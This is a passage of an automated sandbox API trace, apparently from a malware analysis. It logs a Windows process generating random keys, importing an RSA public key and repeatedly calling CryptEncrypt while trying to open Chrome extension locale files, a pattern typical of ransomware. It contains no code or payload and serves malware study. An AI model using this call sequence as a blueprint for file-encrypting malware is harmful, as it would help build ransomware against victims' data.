hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0244.422] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0244.422] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0244.424] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0244.426] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0244.426] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0244.426] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0244.426] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0244.429] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x6784c88) returned 1 [0244.429] CryptGetKeyParam (in: hKey=0x6784c88, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0244.429] CryptEncrypt (in: hKey=0x6784c88, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc240000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xc240000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0244.429] GetLastError () returned 0x0 [0244.429] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0244.429] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0244.431] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x6784dc8) returned 1 [0244.431] CryptGetKeyParam (in: hKey=0x6784dc8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0244.431] CryptEncrypt (in: hKey=0x6784dc8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc250000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xc250000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0244.431] GetLastError () returned 0x0 [0244.431] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0244.431] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hr\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0244.432] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0244.435] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0244.437] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0244.437] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0244.437] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0244.437] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0244.439] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0244.442] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0244.442] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0244.442] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0244.442] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0244.444] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x6785388) returned 1 [0244.448] CryptGetKeyParam (in: hKey=0x6785388, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0244.448] CryptEncrypt (in: hKey=0x6785388, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc260000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xc260000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0244.448] GetLastError () returned 0x0 [0244.449] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0244.449] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0244.451] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x6785788) returned 1 [0244.451] CryptGetKeyParam (in: hKey=0x6785788, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0244.451] CryptEncrypt (in: hKey=0x6785788, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc270000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xc270000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0244.451] GetLastError () returned 0x0 [0244.451] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0244.451] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hu\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hu\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0244.452] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0244.455] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0244.457] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0244.457] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0244.457] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0244.457] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4980) returned 1 [0244.459] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0244.461] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0244.461] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0244.461] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0244.462] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0244.464] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x6785748) returned 1 [0244.464] CryptGetKeyParam (in: hKey=0x6785748, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0244.464] CryptEncrypt (in: hKey=0x6785748, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc280000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xc280000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0244.465] GetLastError () returned 0x0 [0244.465] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0244.465] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0244.467] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x6785288) returned 1 [0244.467] CryptGetKeyParam (in: hKey=0x6785288, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0244.467] CryptEncrypt (in: hKey=0x6785288, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc290000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xc290000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0244.467] GetLastError () returned 0x0 [0244.467] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0244.467] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\id\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\id\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0244.468] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0244.471] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0244.473] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0244.474] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0244.474] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0244.474] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4980) returned 1 [0244.476] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0244.478] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0244.478] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0244.478] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0244.479] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0244.481] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x67857c8) returned 1 [0244.481] CryptGetKeyParam (in: hKey=0x67857c8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0244.481] CryptEncrypt (in: hKey=0x67857c8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc2a0000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xc2a0000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0244.481] GetLastError () returned 0x0 [0244.481] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0244.481] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0244.483] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x6785348) returned 1 [0244.483] CryptGetKeyParam (in: hKey=0x6785348, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0244.483] CryptEncrypt (in: hKey=0x6785348, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc2b0000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xc2b0000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0244.483] GetLastError () returned 0x0 [0244.483] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0244.483] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\it\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\it\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0244.490] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0244.493] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0244.495] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0244.495] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0244.495] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0244.495] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0244.497] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0244.499] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0244.499] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0244.499] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0244.499] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0244.501] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x67850c8) returned 1 [0244.501] CryptGetKeyParam (in: hKey=0x67850c8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0244.501] CryptEncrypt (in: hKey=0x67850c8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc2c0000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xc2c0000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0244.502] GetLastError () returned 0x0 [0244.502] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0244.502] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0244.504] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x6785808) returned 1 [0244.504] CryptGetKeyParam (in: hKey=0x6785808, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0244.504] CryptEncrypt (in: hKey=0x6785808, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc2d0000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xc2d0000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0244.504] GetLastError () returned 0x0 [0244.504] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0244.504] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\iw\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\iw\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0244.505] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0244.507] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0244.509] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0244.509] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0244.509] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0244.509] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0244.512] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0244.514] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0244.514] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0244.514] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0244.514] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4980) returned 1 [0244.516] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x6785548) returned 1 [0244.516] CryptGetKeyParam (in: hKey=0x6785548, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0244.516] CryptEncrypt (in: hKey=0x6785548, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc2e0000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xc2e0000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0244.516] GetLastError () returned 0x0 [0244.516] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0244.516] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0244.519] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x6785148) returned 1 [0244.519] CryptGetKeyParam (in: hKey=0x6785148, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0244.519] CryptEncrypt (in: hKey=0x6785148, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc2f0000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xc2f0000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0244.519] GetLastError () returned 0x0 [0244.519] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0244.519] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ja\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ja\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0244.520] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0244.523] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0244.525] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0244.525] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0244.525] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0244.525] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0244.528] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0244.529] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0244.530] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0244.530] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0244.530] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0244.532] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x6785708) returned 1 [0244.532] CryptGetKeyParam (in: hKey=0x6785708, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0244.532] CryptEncrypt (in: hKey=0x6785708, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc300000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xc300000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0244.532] GetLastError () returned 0x0 [0244.532] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0244.532] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0244.534] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x6785848) returned 1 [0244.534] CryptGetKeyParam (in: hKey=0x6785848, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0244.534] CryptEncrypt (in: hKey=0x6785848, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc310000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xc310000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0244.534] GetLastError () returned 0x0 [0244.534] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0244.534] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\kn\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\kn\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0244.535] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0244.538] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0244.540] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0244.540] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0244.540] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0244.540] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0244.542] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0244.544] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 